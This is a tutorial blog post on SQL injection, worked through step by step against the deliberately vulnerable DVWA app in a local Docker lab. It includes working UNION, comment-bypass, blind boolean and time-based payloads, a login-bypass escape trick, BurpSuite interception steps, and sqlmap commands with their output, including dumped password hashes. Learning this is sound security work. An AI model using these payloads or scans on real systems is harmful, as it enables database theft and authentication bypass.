visit
SQL Injection (SQLi) accounted for more than 72% of all attacks when looking at all verticals during (2018–2019) period.
- , Akamai
The quote above says it all. If there’s one attack vector to get familiar with as a web developer it’s an injection and this one in particular. On the list injections are ranked first with SQL staring high. The infamous SQLi is very common, easy to automate and can create a lot of unrepairable damage.
This post is a personal attempt at getting to the bottom of something I needed to know. I repeatedly tried picking it up with gists and short videos but it didn’t go “all the way down”. Getting to know SQL injection means sitting down, reading the docs and getting your hands dirty with payloads. The syntax with small and various escaping, together with poking at old SQL brain cells took a bit of an effort. A part of this effort is getting this post written.
Having that said, it’s important to mention that SQL injection (from here on would be referred to as SQLi) is a simple concept with many flavors. How many? as many as SQL DB flavors out there, throw into a matrix of different webforms and developer mistakes.SQL Injection (or SQLi in short) is a way of infiltrating a web application data without compromising the host itself. It allows the attacker to pull data from the database and in some cases source code and other sensitive information.
Performing the attack requires a very simple “hacking tool”: your browser, making it accessible and easy both to learn and perform.There are different kinds of SQLi vectors. The most common ones involve an HTTP request from the client’s browser. So, where the developer intended for the user to provide a simple input e.g. User ID, an attacker may try to inject an SQL statement. Instead of providing 1 for example, consider this input:
1' UNION SELECT password FROM users UNION SELECT '1
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
# The login screen would be @ //localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.
Select the “SQL Injection” module from the menu. Trying to play with possible inputs, we can see the requested parameter is a user ID, so, the first option can be
1
:1
# ID: 1
# First name: admin
# Surname: admin
Let’s try an escape by providing
'
:'
# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1
# Look how hackernoon's syntax highlighting is
# breaking up due to a single quote
# Think about how the same can affect
# SQL queries
Back to our injection quest. After using
'
the app returned a useful message mentioning an error near '''''
. Looks like the injection is valid and the response from the DB engine is visible. This means we can try different methods and get visible feedback.The SQL UNION statement is a common helper. Using that, the attacker can unify additional information with the results and return them together. We'll try to run the next:1' UNION SELECT '2
# Output: The used SELECT statements have a
# different number of columns
1'
means "end the statement with 1 and close it with an apostrophe". Exactly for this reason; of being able to terminate a logical part of an SQL query, '
are dangerous when not escaped correctly.UNION SELECT '2
is a UNION
statement that selects a number and opening another '
to pair with the one waiting at the end of the statement in the backend code.Now we know the
UNION
may work with a few tweaks. When calling an SQL statement with UNION
the DB engine tries to unite the results to one set. In order to do that all parts must have the same column number so they can be unified.Let’s expand the test and provide an additional column:1' UNION SELECT 1,'2
# ID: 1' UNION SELECT 1,'2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1,'2
# First name: 1
# Surname: 2
Boom! The injection works. Still, this is not a real extracted data. We have to find our way around the schemas in order to have something meaningful, but this is definitely promising.
1. Step one is getting the DB name to query tables from:1' union select 2, table_schema from
information_schema.tables union select 3,'4
2. We’re interested in
dvwa
, so we'll pick that and query its schema:1' union select 2, table_name from
information_schema.tables where
table_schema = 'dvwa' union select 3,'4
1' union select 2, column_name from
information_schema.columns where
table_name = 'users' union select 3,'4
1' union select user, password from users
union select 1,2'
# ID: 1' union select user, password from
# users union select 1,2'
# First name: admin
# Surname: admin
# ID: 1' union select user, password from users
# union select 1,2'
# First name: admin # Surname:
# 5f4dcc3b5aa765d61d8327deb882cf99
# ID: 1' union select user, password from users
# union select 1,2'
# First name: gordonb # Surname:
# e99a18c428cb38d5f260853678922e03
# ID: 1' union select user, password from users
# union select 1,2'
# First name: 1337 # Surname:
# 8d3533d75ae2c3966d7e0d4fcc69216b
# ID: 1' union select user, password from users
# union select 1,2'
# First name: pablo # Surname:
# 0d107d09f5bbe40cade3de5c71e9e9b7
# ID: 1' union select user, password from users
# union select 1,2'
# First name: smithy # Surname:
# 5f4dcc3b5aa765d61d8327deb882cf99
# ID: 1' union select user, password from users
# union select 1,2'
# First name: 1 # Surname: 2
Raising the DVWA security level under “DVWA Security” -> choose
Medium
.POST
request is being sent with two parameters: id=1&Submit=Submit
. Since there are more than a handful of headers we can use any kind of interceptor to catch the request and repeat it with different parameters. One favorite option is .Quick setup to intercept with BurpSuite
Preferences
--> Advanced
--> Network Settings
--> Manual Proxy Configuration
and setting all protocols to go through 127.0.0.1:8080
(BurpSuite's default)Proxy
tab and set intercept on
. The next request coming out of Firefox should be stopped at BS where you can decide to stop, forward or drop itSubmit
. The request should be waiting on BurpSuite, where we can then send it to Repeater
through the Actions
menu.Poking at the server by playing with the
id
of the POST
request reveals an escape character in the form of \
. So whenever a special char like ',#,-,$
appears it's being escaped. However, not being able to use special chars, does not prevent a UNION
injection with the exact same syntax:1 UNION SELECT user, password FROM users
SELECT something FROM sometable # WHERE ...
# Will translate into the SQL query
SELECT something FROM sometable
There are different options for commenting SQL lines, common ones are
--, #, /*
- multiline that ends with */
. In the "real world" those are useful in describing code:SELECT name -- this is the name
FROM users -- users table
WHERE name="DAN" -- Dan is the CEO
// Check database
$query = "SELECT first_name, last_name FROM users
WHERE user_id = '$id' LIMIT 1;";
The query is
LIMIT
ed to a single result making it hard to pull a large set of data, ignoring the LIMIT
ation can bypass it:# First input:
1 UNION SELECT user,password from users
# Translates to
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password' LIMIT 1;
Since the query result is limited to one set, it will constantly return
first_name
, last_name
, ignoring the UNION
.Let's try again then:1 UNION SELECT user,password from users#
# Limitation ignored
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password FROM users';
A blind SQL injection is used when the application does not return the SQL error but is still vulnerable to the attack. This is virtually the same scenario as a normal SQL, but the attacker has to figure out if the vulnerability exists using a series of true / false tests. Another method is time-based. By sending
SLEEP
within the query, based on the time it took for the response to appear, the attacker can tell whether an answer is positive or not.Time-based blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic:
If the first letter of the first database’s name is an ‘A’, wait for 10 seconds.
If the first letter of the first database’s name is an ‘B’, wait for 10 seconds. etc.
-
Let’s test the DVWA blind SQLi module with the
low
security level. With the simple input 1
the system returns User ID exists in the database
. With bad input like '
the response is 404
with a message User ID is MISSING from the database
.The next step is playing around to see if a boolean attack is optional:# Input
'1 AND 1='1
>> User ID exists in the database.
# Ok, that was supposed to be a truthy signal.
# Input
'1 AND 1='2
>> User ID is MISSING from the database.
# Good! It seems a boolean-based blind attack is
valid
# This input returns 404
1' and (select user from users where
user_id=1)='test' and 1='1
# However this is successful
# This means the name is 'admin' where user_id = 1
1' and (select user from users where
user_id=1)='admin' and 1='1
A lesser-known method, but nonetheless effective can be useful when certain characters like
'
are escaped, but the user can control two different fields. The obvious example is a login page. When a string is escaped by the application for example with \
, the attacker may circumvent it by created his own escape like so:username: \
password: or 1 #
$query = select * from users where username='".$username."'
and password='".$password."'";
select * FROM users where username='\' or password='
or 1 # ';
The backslash escapes the following single-quote, creating a situation where the application reads the username value like so:
'\' or password=' or 1 # '
. The statement above will always return true
. The hash #
makes sure its following command section is ignored as a comment.sqlmap
is a CLI tool that automates the scan and provides relevant information. If possible it can grab information from the DB like database names and even tables. It will also identity blind-SQLi and report optional techniques (boolean or time based).Here’s a simple operation of it on DVWA blind SQLi level# Scanning the full form path with parameters
# Note how cookies are also passed to the scanner
for authentication
sqlmap -u "//localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
--dbs
sqlmap resumed the following injection point(s)
from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or
HAVING clause
Payload: id=1' AND 5756=5756 AND
'XWif'='XWif&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
(query SLEEP)
Payload: id=1' AND (SELECT 5198 FROM
(SELECT(SLEEP(5)))xyFF)
AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema
# Running the same scan with a -D for db name
# and --tables to enumerate the dvwa db
sqlmap -u "//localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
-D dvwa
--tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
“I would say it is a baseline expectation for any ORM, yes. which is likely why it’s not mentioned in docs — it’s assumed, so long as you use the ORM’s core API or query builder. and that’s where the caveat is… ORMs provide many ways to construct a database query, but they also give you the option/flexibility to write ‘raw,’ do-it-yourself queries as a string… or they allow you to write some part of a generated query as a raw string. obviously you want to avoid doing this, as it kinda defeats the purpose of using an ORM… but there is a case for it every now and again.”
-
Previously published at //omerxx.com/sql-injection-intro